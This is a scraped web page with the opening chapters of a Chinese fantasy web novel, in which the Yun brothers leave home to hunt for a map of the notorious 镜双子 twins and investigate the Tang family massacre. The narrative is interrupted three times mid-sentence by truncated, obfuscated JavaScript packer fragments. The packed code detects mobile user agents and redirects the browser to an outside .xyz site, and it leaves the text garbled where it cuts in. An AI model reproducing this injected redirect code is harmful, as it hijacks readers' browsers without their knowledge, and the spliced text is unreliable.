《重逢日》 1. 孚望一 月黑风高夜,离家出走时。 避过巡逻的人,一个黑衣女子背着包袱悄悄翻出了院墙,她的步法灵巧迅捷,几个呼吸间,就已经远离了那座院子。 父亲母亲在上,女儿在屋中留了一封信,可算不上不告而别了。 女子在心中暗暗说道。 附近的官道尽是夜巡的侍卫,她隐在暗处游走,悄无声息的告别了这座城池...... * 衢州,谷雨时分。 云雾迷蒙处,一座低调雅致,水木清华的宅邸静立其中,门户敞开,上书云府。 穿着素色衣衫的仆从行走其间,低眉垂目,步伐轻悄无声,他们有序而从容地忙碌着,准备着今日云家长子云修泽的及冠礼。 此时宅子的正屋中,云姓父子三人相对而坐,最大的那个一脸严肃,不大不小的笑眼眯眯,小的那个满脸写着''你在和我开玩笑吗''? 他们面前的桌案上摆着一个木盒,而木盒中,盛放的是一份残缺的地图,云父将盒子推到兄弟二人面前,安静了半响,开口说道。 “这的确是镜双子的地图之一,传闻共有五份,你们不用管我是怎么得到它的,总之正好用来当作你们这次入世历练的任务,集齐其他四份,然后找到地图上的地方,完成后,你们就可以回来了。” 这番话就像是微石落入平静的湖面,打破了屋内停止的场面,云修云直接跳脚。 “我们??!!阿爹你有没有搞错,我们家虽然有男子及冠就入世历练的规矩,但向来都是继任族长的长子,跟我一个还没及冠的次子有什么关系?!” 云修云就算被父亲的灵力强行按在了椅子上,还是忍不住想要挣脱,起来继续跳脚。 “况且您给的这什么破任务!!这世上谁不知道这地图是那对双生子的!最终能找到什么东西谁都不知道!而且别说拿到了,光是哪里有点地图的消息都能引起不小的麻烦!!您这哪是历练啊!您这是送我们欢欢喜喜的进油锅啊!!!” 云父放下了茶杯,无视了小儿子的控诉,并挥一挥衣袖,表示这事儿没得商量,他转头去看大儿子,云修泽从头到尾就没变过过表情,笑眯眯的看着父亲和弟弟。 他笑得让云父心里有点打鼓,低头轻咳一声,问道。 “子竹,你可知晓了?” 云修泽转了转手中的茶杯。 “父亲何时也对那虚无缥缈的秘宝有了兴趣?我们云家虽然避世不出,但名下产业众多,家底殷实,实力也还算不错,何须卷入到那些麻烦事里去?” 云父摇了摇头,并没有说些什么。 云修泽看父亲态度坚决,想来也是有自己的考量,只是不知这真的是对他们兄弟二人的磨练,还是云家想要入世的先兆了。 他无法,只得问道。 “父亲手中既然已经有了一份地图,不知是否知晓其他四份的下落?” “这也是我要与你交代的,半年后,佘渊边缘的白界将举行一次大比,你自己想办法找齐剩下三个同伴,不限人与妖,赢下这场比赛,这场比赛的彩头之一就是一份地图,剩下的...” 云修泽认真听着。 “剩下的...要靠你们自己找。” 云修泽给了父亲一个无语的神情,旁边的云修云在反抗失败后,就放弃挣扎的趴在了桌子上,他也明白,对于跟随刚刚弱冠的哥哥去完成这麻烦的历练任务这件事,根本就是个通知。 他破罐子破摔,反正他的意见从来都不重要,但听到这里,还是忍不住抬起头来,和大哥一起给了父亲一个无语的表情。 云父看着有着奇怪默契的兄弟俩,露出了一点欣慰的笑意。重新为自己斟满了茶,挥挥手,让兄弟二人收好地图就退下,好好准备今天的冠礼。 巳时,正院。 一切已经准备就绪,长老宾客立于两侧,高台上,云修泽拱手跪立,身侧是云纹青铜鼎,云父接过侍从奉上的冠冕,神色肃穆地为自己的长子加冠。 云修泽解下腰间佩剑双手奉上,云父接过,剑鞘刻名禇闲,他抽出剑身,持剑在云修泽双肩点过。 “以岁之正,以月之令。咸加尔服。兄弟具在,以成厥德,黄老无疆,受天之庆。”【注1】 云父声音低沉,他看着云修泽,忽然发现他已经不是小时候那个到处和人说自己是根竹子的毛头小子了,现在的他,身形欣长,抬眼望来,看着你,只叫你觉得再没有比他更认真的。 他在心中暗暗点头,已经是个俊俏的好儿郎了。 收剑回鞘,云父郑重的将它交还到云修泽手中,对他说道。 “用剑之人,剑即半身,你为它赋名禇闲,我与你母亲亦希望你行事从容有度,收放自如,心境旷达,永不为心魔所累。” 云修泽双手恭敬接过。 “承父所愿,继母所望,子竹知晓了。” 他双臂平举,手腕翻转,以手背承剑,又从两端向剑中汇去,双手交叠,将额头贴向剑鞘,恭敬叩首,三拜过后,方为礼成。 云父看了眼院墙外的天空,叹了口气。 “记得去看看你们母亲。” 云修泽顿了一下,轻声应是。 待到观礼的宾客散去,云修泽一把拉住了想要偷溜的云修云的后衣领,慈眉善目的问他想到哪里去。 云修云一脸正气凛然。 “当然是去练剑!” 他眼珠子左转右转,哪里都看看,就是不去看自家大哥的笑脸,但不过一会儿他就败下阵来,连连投降,乖乖的和云修泽一起去找母亲。 兄弟两人找了一些母亲常去的地方,都没能见到她,只得拉住一个路过的女使询问,在得知母亲午后去了后山的竹林后,就一同去往了后山。 后山的竹子密密丛丛,绿意盎然,现下又正好是它的季节,下过雨后,竹笋也冒出尖来,用不了多久就能长成新竹,林中有淡淡的雾气,整片竹林安静到能听到竹叶掉落的细微声响。 云修泽年幼时曾被母亲扔进竹林和师傅鸣音修行,无法修成就不许出来,年幼的他忍受不了这无边的寂静,却也在这里学到了常人一生也许都无法企及的轻功,对这片寂静的竹林是惧之切,也爱之深。 竹林深深,身为云家自己的后院,当然也设有阻止外人进入的阵法,他左两步,右三步的走,云修云安静的跟在他身后。 他与大哥不同,他的出生本是意料之外,父母也没有对他寄予太大的希望,因此他不曾像大哥一样长年呆在在这里修行,甚至有些陌生。 他打量着四周长得差不多的竹子,没注意到云修泽已经停下,结结实实就闷头撞了上去,云修泽回头看他一眼,他吃痛的捂着撞疼的鼻尖揉按,对上大哥的眼神,却敢怒不敢言,心里骂骂咧咧的从云修泽背后探出头去。 然后看到了娘亲的惊艳亮相。 只见一个绰约多姿,弯眉淡目的青衣美人怀抱莲蓬与开得正好的荷花向他们走来。 她从林深处来,所过之处,竹林为她让路,一个晃眼间,又回到了原来的位置,好似幻境一般。 能让竹林为之让路,她自然不是普通人,甚至于,她都不是人。 云修泽看着被岁月偏爱的母亲,她名为禾筠,是天生地养的天竹,天生灵物少之又少,非人非妖,很多年前,若不是他们一脉献祭天道,以平人妖之战,恐怕也不会因为心生执念,想要重振天竹一脉,而燃烧精血与灵力,竭力诞下他,又给了他一个深沉压抑的童年。 云修泽敛眸,看着弟弟乐颠颠地凑上去喊了一声娘亲,又傻呵呵的问她哪里来的莲蓬与荷花。 提起这个,她显得十分高兴,拿着荷花在云修云身上比了两下,又拉着他想让他接鸣音的活,继续催生荷花,想用荷花给他做一身衣裙。 云修云是云母放下执念后,与云父愈加恩爱,意外所得的孩子,只是一直可惜他不是个女孩,只能在他年幼时,不断地给他穿女孩的衣裙,扎女孩的发髻,用来弥补一二。 云父对此也是睁一只眼闭一只眼,等他长大,意识到男孩子不应该穿女孩子的衣裙后,就说什么都不肯再穿,甚至调侃一句都会惹他炸毛,慢慢的云父和云修泽就不再提了,只有云母还弃而不舍给他做衣服。 瞥见云修云欲哭无泪的表情,云修泽耸了耸肩,看吧,虽然竹林里有不小的湖泊,但他就不太想知道四月哪里来的盛开的荷花。 俗话说,吃一堑长一智,但云修云在母亲这里似乎从小到大都是吃一堑又接着吃一堑,平时绕着走,见到了又乐此不疲地往上凑,不是被抓去穿新做的衣裙,就是被拉去当苦力。 弟弟不争气,大哥叹气。 云修泽走上前去解救即将被抓走的弟弟,他拱手行礼,喊道。 “母亲。” 云母这才看向他,她的双眸盛着秋水般的温柔,云修泽望见了年幼时最渴望的东西,一时间有些语塞。 嘴唇合上又张开,轻声说道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950928|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “母亲,我已及冠,恐怕不日就将入世历练,父亲叮嘱,此行青玉将随我同去,寻找镜双子的地图和藏处,特来与母亲辞行。” 云母露出担忧的神色,将手轻轻覆上云修泽的脸颊。 “镜双子我虽未见过,却久闻他们的盛名,他们行事乖张,从不走寻常路,树敌无数,又偏偏武力高强,叫人无可奈何,想来他们藏宝之处也不会是什么安全的地方,你们父亲给你的并不是什么容易的任务,只怕凶险万分,兄弟二人同去也好,记得一定要相互扶持,万事小心。” 云修泽听着她关切的话语,忍住了自己想要拿开她放在自己脸颊上的手的举动,有些恶劣地猜想,说是相互扶持,只怕更多的是让自己保护好他的宝贝弟弟吧。 这么想着,面上却没有露出一点异色,仿佛一个温文尔雅的贴心儿子,微笑应是。 云母放弃了手中的荷花,拿出两枚莹润的玉佩。 云修云见此,大松一口气。 “这两枚玉佩名为同心佩,有储物之效,可以用来存放重要的物品,你们带上,滴血认主,记住,此物直接连接你们的识海,离不开你们周身五十米,一旦离开就会自爆,你们也会受到牵连。” 云修泽一听,眼睛亮了几分,这确实是个好东西,省得他担心拿到了地图却被别人抢夺。 云母笑道。 “你们兄弟二人血脉相连,同心佩又取自同一块玉胚,认主后,你们可以感知到对方的安危和方位,正合适不过了,你们将它们戴上,我与你们父亲也多少可以安心一些。” 二云对视一眼。 小云殷勤上前为她揉肩卖乖,大云收起玉佩拱手道谢。 忽然一阵疾风传来,云修泽眼神一凌,扭腰转身,刹那间就被逼离了地面,这里为了母子三人叙话方便,四周被清出一小块空地,云修泽无处借力,便挥剑向上,剑气带风,震落了竹叶。 又一阵风袭来,云修泽扭头望向来者方位,脚尖轻点竹叶,竟然借着这微弱的力道在空中翻身,接连几下,顺利遁入了竹林中,来人似乎追了过去,极速的过了几招。 他们都是轻功了得的人,在影影丛丛的竹林中,只闻其声,却看不见他们的身影。 四周的竹子轻晃,落叶簌簌,又是一个晃眼,云修泽竟是衣冠未乱的回来了,他笑看着一只手掌大小,羽毛浮翠流丹的鸟儿飞来,在空中停滞了一会,变成了一个穿着深绿色劲装的女子。 女子似乎心情不错,拍了拍云修泽的肩。 “好小子,轻功又有长进了,这样你出去,我也更放心一些。” 云修泽与云修云一同行礼,唤道。 “师傅。” “乖孩子,起来吧。” 女子就是鸣音,原身是一种名为躅躅的鸟妖,以身法轻盈,速度极快,可以御风而闻名。 它们这一族都是天竹的伴生兽,依靠天竹提供的特殊灵气修炼,天性就会保护自己的伴生竹,因此在当年那一战中,都随着自己的伴生竹死去了,如今这一族,天地间恐怕也只剩下了鸣音。 鸣音虽然跟着禾筠,但并不愿意住到宅子里去,只愿住在后山,镇守这百里竹林。 早年她受云母所托,虽说是教授两个孩子,但其实只有云修泽跟随她学了这足以让他傲视九成人的轻功,云修云则更多的是学习云家自己的功法。 “你们何时离家?” 云修泽摇了摇头。 “还未定下,应该是过两日吧。” 鸣音点点头,没再问些什么。 她看向云母脚边的荷花,似乎想起了什么,余光正巧瞥到她想要开口说话,表情扭曲了一下,借口有事,就匆忙化为原型离去了,颇有一种落荒而逃之感。 云修云还想趁现在好好体会一下来自家人的温情,本来情绪都酝酿的差不多了,正要说话,就被他师傅的来去如风强行打断。 他心口梗着一口上不来也下不去的气,听见母亲说。 “玉佩里你们父亲已经提前放上了一些你们路途中需要的东西,一应物品已经准备妥当,你们只管安心就好,早去早回。” 云修云觉得那口气又可以顺下去了。 * 一刻钟后,云修泽与云修云两兄弟站在自家大门口面面相觑。 看着弟弟的投来包含着‘你真的不是在和我开玩笑吗’的意思目光,云修泽呐呐说道。 “我...我也没想到会这么早......” 2. 孚望二 云府,夫妻二人正叙话用餐。 云母有些担忧。 “老云,你说他们这一走也不知道要到什么时候,咱们给的是不是有点少?” 云父给她盛了一碗汤,柔声安慰她。 “没事,男孩儿都糙,得穷养。” “也是......” * 此时山中一条杂草丛生的小道上,兄弟二人还浑然不知的坐在一块石头上,被丢出来得太过匆忙,两人准备盘点一下家里给他们整理的东西,再从山下的小镇里租辆马车,用个饭什么的。 两人翻遍了玉佩,几套换洗的衣物,常用的伤药,一把随身携带的匕首,装着地图的盒子,还有碎银二十两。 “......” 两个从小到大虽然谈不上出手阔绰,但也从不为身外之物烦心的公子哥陷入了沉默。 云修云感觉这一天自己已经被打击的开始看破红尘了,他看了看云修泽的二十两,又看了看自己的二十五两,在诡异的平静心态下,还是冒出了点疑惑。 “他们为什么多给了我五两?” “......” “也许......你在他们心中...算半个姑娘?女儿富养嘛......” “......” 云修云崩溃的双手抱头,知道自己就多余这一问。 “那现在怎么办?我们去哪儿?” 云修泽拍拍他。 “马车就别想了,买两匹马得了,跑得还快,佘渊那个还有半年,不着急,咱们先去找世叔吧,他走南闯北的行商,见过的人和知道的事都不少,地图如此瞩目,他肯定有所探听,我们先去问问他。” 云修云叹了口气,只觉得人生对他这个十七岁的少年不太友好。 “可他一年有一大半的时间都在外面,谁知道他现在在不在家。” “我知道啊,他前两天还给父亲传信,想邀他小聚一下,现下肯定在家。” “......好吧...算你厉害...” 三天后,一座还算是比较富裕的城镇里,两个灰头土脸的年轻人正狼吞虎咽的用饭,两人眉眼相似,看上去就是一对兄弟。 其中那个更年少些的,一把放下手中的碗筷,打了个饱嗝,悲愤地说 “本少爷从小到大就没受过这种委屈!!那村里的人都是怎么回事,大风天气连让我们避一避都不肯,一个个都跟躲瘟神似的,要不是找到一个破庙,还不知道我们要变成什么鬼样子呢!!” 云修泽也很难受,他喜洁,从小除了练武,就没有过这么狼狈的时候。 “我的小少爷,你就知足吧,好歹马没嫌弃我们,还跟着我们呢...” 云修云沉默,开口感慨。 “...好马啊......” 云修泽要被自己这个傻弟弟逗笑了,点头附和。 “嗯,好马!” 饭馆中十分热闹,云修泽叫来小二结了饭钱,准备要两间房,再弄点热水洗漱一下,在等待小二找零的同时,他的耳朵轻轻动了一下。 云修泽的眼神一下就变了,他凝神细听,刚刚好像有人谈到了双生子? 听了一会儿,他又将刚刚小二找给他的铜钱推了回去,冲小二温和的笑道。 “我们兄弟二人初来乍到,准备住上几天,只不过身手不大好,带的剑也是个幌子,不知最近城中可有什么大事发生,让我们有个准备,好别在无意间惹上什么祸事?” 小二的笑意真诚了几分,十分自然地将铜钱收入了自己的口袋,一副仿佛十分为他们着想的样子。 “哎呀,两位客官有所不知,这最近啊,城里开医馆的唐家,一夜之间就被灭了门!!要不是第二天中午,城里他家的医馆都没人坐诊,着急的人家找上了门去,还没人知道呢!听说整栋宅子都被烧得面目全非,大门处全是挣扎想要开门逃跑的尸体!!” 说到这里,小二似乎也感到有些害怕。 “邪门的很!那么大的火,别说是邻里间,就是再远一些,也应该能察觉到,可是就连值夜的人都没发现有那么一场大火烧了一夜,第二天开门的时候,还有一种火势刚刚熄灭的焦糊味,门也没有什么问题,不知道为什么,就是一个都没跑出来......” 兄弟两人对视一眼,云修泽沉声寻问。 “一个家族人那么多,确定没有人跑出来吗?” 小二摇了摇头,作贼似的小声说道。 “那一天是每月唐家举行家宴的固定日子,在外的子弟,无论多忙,那一天都会回家,官府的人统计过尸体了,一个都没少。 云修泽像是单纯的好奇一样,紧追着问道。 “那为何如此肯定是被灭门的?仅凭无人逃脱和没被察觉的大火吗?就不能是意外失火吗?” 小二搓了搓衣袖,左右看了看,弯腰低头悄悄地说。 “听说,有人在现场发现了镜双子的记号!虽然已经很久没听说过他们的事了,但那个记号用料特殊,从没有人仿造出来过!肯定是他们灭了唐家的门!!” 镜双子! 云修泽双眼眯了眯。 “他们和唐家有仇?” “这谁知道!没准就是看不顺眼人家行医施德呢!!他们可不是什么善茬,两位客官这两天还是少往城北去的好,难保那对双生子还在不在这里!” 云修泽露出感激地微笑。 “好,我们知道了,多谢你。” “嘿嘿,好说,好说,两位客官下次有事还可以找我啊。” 送走了小二,云修泽的脸色沉了下来,他轻轻转着手里的茶杯,云修云看了眼他的脸色,问道。 “唐家?是我知道的那个唐家吗?” “世叔家附近十里还有第二个唐家吗?” 云修云被他怼的一哽,想起来他大哥心情不好的时候说话就会不太友善,他只能自我宽慰,又看了眼天色,提议道。 “现在天色还早,要不我们先去世叔家,商量一下对策再回来看看吧。” 云修泽神色沉凝的看着茶面上不断上下起伏的茶梗,沉默良久,说道。 “不,做好准备,我们夜探唐府!” 云修云哀嚎一声,如果是父亲他还敢反抗两句,可偏偏在经历了长时间赶路,又遇上狂风摧残的一天后,做出这种惨无人道的决定的人是他总是装好人,但实际黑的心都看不见的大哥,他也不蠢,不能上赶着去给他说教,在哀嚎过后,还是埋头认下了这个决定。 于是一个神色平静,一个双目无神的兄弟二人一前一后地上了楼。 当晚,夜阑人静时,两个穿着夜行衣的人悄无声息地来到了唐府后门。 云修泽打量着这里,云修云疑惑。 “这不是看着挺好的吗?哪里像是被烧了?” 的确,唐府的外墙十分正常,就像是此刻院墙内的主人家还正在酣睡一般。 云修云走上前去,想要看看能不能翻墙,还没靠近,就被一种无形的屏障拦在了外面,他没有什么准备,撞了上去倒也没有喊痛,反而紧抿双唇保持安静,顺着这个屏障摸索起来。 云修泽由着他去,不一会,云修云回到他身边,低声说。 “整座宅邸都被围起来了。” 云修泽碰了碰那个屏障,低声念了些什么,屏障肉眼可见的泛起了一圈涟漪,露出了一个可供一人进出的小口。 云修云随着他进去,好奇的问道。 “这是什么?阵法吗?” 云修泽头也不回给了他脑袋一下。 “让你好好听讲你不听,这是结界,我们家也有,我刚念的是家里夫子教过的用来破界的咒语,等今晚回去,你给我抄上二十遍,背不下来就别睡觉。” 云修云有些低落,倒也没有顶嘴。 两人翻墙进去,看见院内的确被烧得满目疮痍,还有一些小院的支撑木都被烧断了,塌陷下来。 这里除了死物,毕竟还烧死了不少人,味道并不好闻,云修云皱眉捂着口鼻。 “既然外面有结界,为什么那些来寻医的老百姓和官府的人能进来?” 云修泽捻起了一些地上的灰烬,闭上眼单手掐了个诀,几瞬过后,他睁眼说道。 “这就是普通的火,没有灵力加持。” 他疑惑道。 “唐家虽然在普通人眼里就是正常的行医世家,可他们本来也是隐世而居,十几年前才开始渐渐活跃,传承悠久,医毒双绝,更何况每个嫡系子弟都修行了他们自家的功法,有深厚的灵力护身,哪怕出不去,也绝不应该被普通的火烧死。” 云修云听了神色凝重,迟疑地开口。 “你的意思是,除了灵力低微的下人,那些在火里有自保之力的,在火烧起来之前,就已经被人杀了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950929|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 云修泽挑眉,似乎无言之中说了一句‘呦呵?小子竟然不傻’。 云修云被他看得有些无语,翻了一个不小的白眼给他,云修泽轻笑。 “走,先去找结界的中心。” 两人从外院一路向内查探,在内院发现了一栋完好无损的房子,这栋房子只有几寸的大小,恐怕在没烧毁前是十分不显眼的存在,只是在如今这个情况下,倒成了最瞩目的那个。 云修泽上前试探,发现这里也存在同样的结界,他尝试之前的咒语,发现这个小型结界没有丝毫变化,抽出禇闲,注入了一丝灵力。 他尝试了简单的劈砍,发觉从结界处反弹了一些阻力,于是心里有了数。 “这是一种专门用来保护贵重物品的结界,通常有两层,外层与寻常结界没有什么区别,内层却远超外层,是被动触发,而且不能以人力关掉,只能等中心为结界提供灵力的物品灵力被耗光才能消散。” 云修泽面沉如水。 “最重要的是,这种结界非常针对灵力高强的人,想要强行破解,灵力越是高强,受到的反伤越多,所以那些没有灵力的普通人反倒是能自由进出,我们能看到这栋小楼,但在他们眼里,恐怕这里什么也没有。” 云修云皱眉,觉得有点麻烦。 “那这个结界什么时候才能消散?” “以我刚刚感觉到的阻力来说,恐怕三日后才可以。” 云修云带着点希冀问。 “那我们现在回去?” 云修泽慈爱地看着他。 “想什么呢?来都来了,自然要去见识一下传说中的镜双子的记号,分开找吧,我可爱的弟弟。” 云修云觉得在他那里,可爱就等于愚蠢,他苦着一张脸,哀怨的离开了。 云修泽来到唐家用来待客宴饮的正厅。 这里四周的支撑柱上,细细看去能看到残余的剑痕,桌椅也凌乱的倒着,外人看也许就认为是他们慌忙逃窜导致的,可云修泽察觉到了一些灵力的波动。 想来是有人闯入了这里,以碾压式的强大在屠杀唐门的子弟,才让族长慌不择路地开启了结界,却没想到,来人根本就不是觊觎他们家的东西,进来杀人目的就是逼他们开启结界,都没有尝试去破第二层结界,杀完人后就潇洒离去了,开了结界,反而让一些灵力低微,没被放在眼里的子弟困在了里面。 唐家究竟藏了什么?让他们会以为只要来找他们麻烦就是为了这个东西来的? 他走到正位的高台上,用作增添意趣的屏风已然倒了,被烧得框架也已经散乱,云修泽突然发现正位身后的墙上,在正中间,似乎有什么图案。 他吹去墙上的余灰,打眼一看,发现一个艳红的图案十分张扬的印在那里。 云修泽想起父亲曾说,镜双子会在自己的记号中留下一丝灵力,而当另一个身负灵力的人去触摸的时候,往往能听见他们的一句留言,可只有第一个人才能听到,之后的人,哪怕灵力再高强,也听不见只言片语了。 他缓缓伸手,想要触碰墙上的图案,却听见身后一阵轻微的兵刃出鞘的铮鸣,紧接而来的就是带着些微寒意的剑风。 云修泽在瞬息间拔出禇闲,回身挡住了凌厉的攻势,兵刃相接,出现了”叮————“的一声嗡鸣,带起的音波让云修泽皱了皱眉头。 两股灵力对撞,以他们为中心,周围在刹那间被清出了一片空地,尘雾四起,云修泽只能分辨与禇闲相持的是一把剑身稍细,且有蓝色材料点缀的冒着寒光的长剑。 好剑!!! 云修泽眼神暗了一下。 禇闲是耗费了云家不少财力物力,从四处收集来的天才地宝锻造的,能与禇闲相持还不落下风,只能说明来人同样不是个好惹的角色。 来者身法迅捷,以速度见长,可力道稍有不足,想来是以四两拨千斤为主要的打法。 看现在这个的意思,应该是不会后退来换攻法了,云修泽将灵力汇集到下盘,准备只等尘雾一散,就后仰改变当下的僵局,只要下盘不被带动,就能避免被来人带入到他的节奏中去! 云修泽想了这么多,但其实都在一息之间,灵力对撞带动的尘雾散的很快,他抬头看去,与来者相视,本应在瞬息间完成的动作却有了一丝停顿。 来人覆面,他只望见了一双眼尾上挑,本应凌厉,却更多是为明澈动人的双眸。 3. 孚望三 镜双子的记号是一个镂空的正圆图案,下方是一弯蛾眉月,上方则是垂下的不知名的花枝,从图样来看显得十分风雅,可偏偏它却是血红色,不仅破坏了图样本身的文雅,也让它带上了一种妖异之感。 云修云与云修泽在唐府两个相反的方向寻找,等他察觉到远处的打斗声和灵力波动时,便暗道不好,立即向云修泽那里赶去。 等他赶来,便看到云修泽一个人正背对着他站在高台上,脊背挺直,双臂悬于身侧,右手紧紧握着禇闲的剑鞘,他的气息不算十分平稳,似乎刚刚经历过一场比较消耗体力的争斗,他抬着头,紧紧盯着墙上的记号。 “哥?刚刚怎么了?你受伤了吗?” 云修云一边快步向前,一边快速的扫视着四周打斗的痕迹,这里本来就是一片狼藉,现在更是一塌糊涂,连原本都还好好立着的支撑木,现下都断了两根。 这里没有别人,那就只能说明来人不但招惹了他哥,而且还顺利的逃走了。 等他到了高台上,发现自家大哥身上虽然没有什么严重的伤,但是却被细细密密的划了许多浅浅的血痕。 云修云暗暗心惊,决定先躲着点他哥,省的给他理由找自己撒气。 他小心翼翼地打量云修泽的神色,却发现十分奇怪,云修泽似乎并没有心情不好,反而像是心情不错的样子。 他笑着瞥了一眼在他身边狗狗祟祟的云修云。 “你个不靠谱的,要真有什么强敌,以你这个速度,等你来了,我人都要凉了。” “唐府那么大,我那是离你离的远!更何况是你要求分开找的,你还怪我来得迟了!” 云修云露出了不服气的神色。 “你还没告诉我呢,刚刚到底怎么回事儿啊?” “没什么,一个尾随我们进来的小贼罢了,不用在意。” 云修泽不以为意的说道,又引他去看墙上的图案。云修云这才将注意力放到传说中镜双子的记号上,他摸了摸下巴,凑近仔细的端详着。 “嗯......还挺好看,这玩意儿真的假的?” “八成真吧。” “还有两成呢?” “还有两成,缺少了一些关键的信息。” 云修云还想问什么,但云修泽似乎对他的提问早有预料,先一步开口堵住了他的话。 “回去歇息,明天我们去找世叔,剩下的,或许要等我见过世叔之后才能确定。” 云修云听见能回去休息,双眼放光。 “别忘了你的二十遍。” 云修云眼中的光灭了。 次日。 一座冠名林府,富丽堂皇的宅子门口,两个少年牵马而来。 云修云快步上前,和门口的护卫说了什么,那人眼神略带狐疑的看了两兄弟一眼,转身进了府,不一会儿,便有一个管家模样的人迎了出来,见到二人显得十分高兴。 “哎哟!我的两个小少爷,什么风把你们吹来了!” 等走的近了,发现他们什么人也没带,只一人一匹马的就来了,又有些惊讶地问道。 “怎么了这是?这是有什么着急事儿要找老爷吗?怎么这样就来了?” 云修云看上去似乎很想对着来人大吐苦水,但在云修泽投来的一个眼神下还是偃旗息鼓了,云修泽笑容不变,说道。 “王叔好,这不是及冠了带着青玉出来走走嘛,不好那么张扬,这样更方便,我们找世叔确实有事,但并不着急,主要是来看看他。” 听他这样说,被称为王叔的管家才重新扬起笑容。 “诶!行行行,你们没事就好,快进来吧!正好最近老爷在家,你们也是赶巧了!” 兄弟两人把马交给了前来牵马的小厮,云修云还特意叮嘱要对它们好点,牵马的小厮连连陪笑应是,这才叫他宽慰了一些。 云修泽只觉得没眼看,掰过他不舍望马的头,揽着他往正厅走去。 旁边的王叔看着他们打闹,脸上带笑,只觉得兄弟二人感情很好。 到了正厅,两人刚一坐下,婢子就将瓜果点心还有茶水全都摆了上来,王叔则让他们休息一会,自己去叫老爷。 云修泽还是不太习惯这里和云府截然不同的富贵风格。 世叔家里世代行商,其富裕程度恐怕只比第一商会通神阁逊色几分,但和通神阁不同的是,他们做生意讲究缘分,什么都卖,比较零散,并没有从哪里立一个看得见摸得着的商铺,只靠人力和口碑四处游走行商,和他们家从祖爷爷那辈就是世交。 等到他回神再看,云修云就已经将桌上的点心吃得差不多了,云修泽眉头跳了跳,还没等他说什么,门口随着脚步声就传来了主人家的笑声。 “哈哈哈,青玉还是这般贪吃!子竹且宽心,能吃是福啊!” 一个身着绛紫色锦服,留有山羊胡的中年男人笑着走进来。 云修泽与云修云起身行礼,喊道。 “世叔。” 来人摆摆手叫他们免礼,撩开衣摆坐到主位上。 云修云似乎有些不好意思,挠了挠头。 “还望世叔莫要见怪,实在是出门在外,不像家里吃的舒心。” 林家主摸了摸山羊胡,对他们说道。 “听说你们来,我已经叫下人去安排晚宴了,之前叫你们爹娘没叫来,两个小的来也是一样,你们且安心住下,陪我待一阵子再说。” 他看向云修泽,上下打量了一下,神色有些宽慰。 “子竹长大了,一个眨眼间居然都是弱冠之年了,你们家老是神神秘秘的,不然世叔肯定会去观礼的!” 云修泽笑道。 “子竹知道世叔疼我,不过您总是出门,轻易见不着,子竹都要以为您把我们忘了呢。” “哈哈哈,你小子,你说说,哪次见面不给你们带新奇玩意玩儿?你个小没良心的!” 林家主指着他笑骂,疼爱之色溢于言表。 云修泽笑意满满,又接着说道。 “您也知道我们家的规矩,我本就是第一次,更何况还带着青玉,我们这次来着实是有些事拿不定主意,想向世叔请教一番,不知您现在方不方便?” “哦?你个鬼灵精也有拿不定主意的时候?好,你们稍待,我这就让人传膳,咱们边吃边聊。” 林家主找来一个小厮吩咐了两句,让他们额外上两份乳酪,又让他们给唐小姐也送一份去。 云修泽听到了,轻抿了口茶水,倒也没多想,世叔的相交之人遍布天下,路过借住的也不在少数,实在不用太过在意。 等到菜上齐了,两人看着云修云有些按捺不住的样子不禁相视一笑。 云修云虽难奈,却也守着小辈的规矩,等到世叔说完开吃,夹了第一筷子之后才开始用膳,他吃得开心,也没去注意那两人说了什么。 那边云修泽陪林家主喝过几杯之后,才开始说正事。 “世叔走南闯北那么多年,可曾听说过镜双子的名讳?” 林家主闻言有些诧异的挑了挑眉头。 “哦?你爹给你的任务跟他们有关?” 他放下手中的银筷,用手指轻轻敲着桌面,思索了一会儿,开口问道。 “难不成和地图有关?你爹想让你们去参加半年后白界的那场大比?他倒也真放得下心。” 云修泽闻言心中苦笑,他并不意外世叔能够猜出来,只不过连世叔都没想到,父亲给他的任务远不止如此。 他心中又将这个任务的难度往上提了提,只怕镜双子这个名头代表的人和事比他想象的还要难搞。 他又给林家主斟了一杯清酒。 “不知世叔对他们有几分了解?” “镜双子啊,哥哥叫斜月,妹妹叫瑶情,玄武年间横空出世,刚刚十四五岁的样子,因为那时候还没有长开,所以他们刻意混淆视听,最开始根本没人发现他们是龙凤双子,也没人知道他们的来处,当时是个乱世,他们的出现,是彻底搅浑了局面。” 林家主将酒饮下,几句话间陷入了回忆。 “镜双子行事乖张,灭了一个小门派,竟然只是因为单纯的看不顺眼,有人夜间出行,碰见他们,被他们好一顿戏耍,那人在惊惧交加之下躲过了一个,回头刚刚想跑,就猝不及防见到了另一张完全一样的脸,那时的两人站在一起,宛如对镜自照,久而久之就有了镜双子的名号。” 性情恶劣,行动随心。 云修泽初步有了判断,接着问道。 “您也说了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 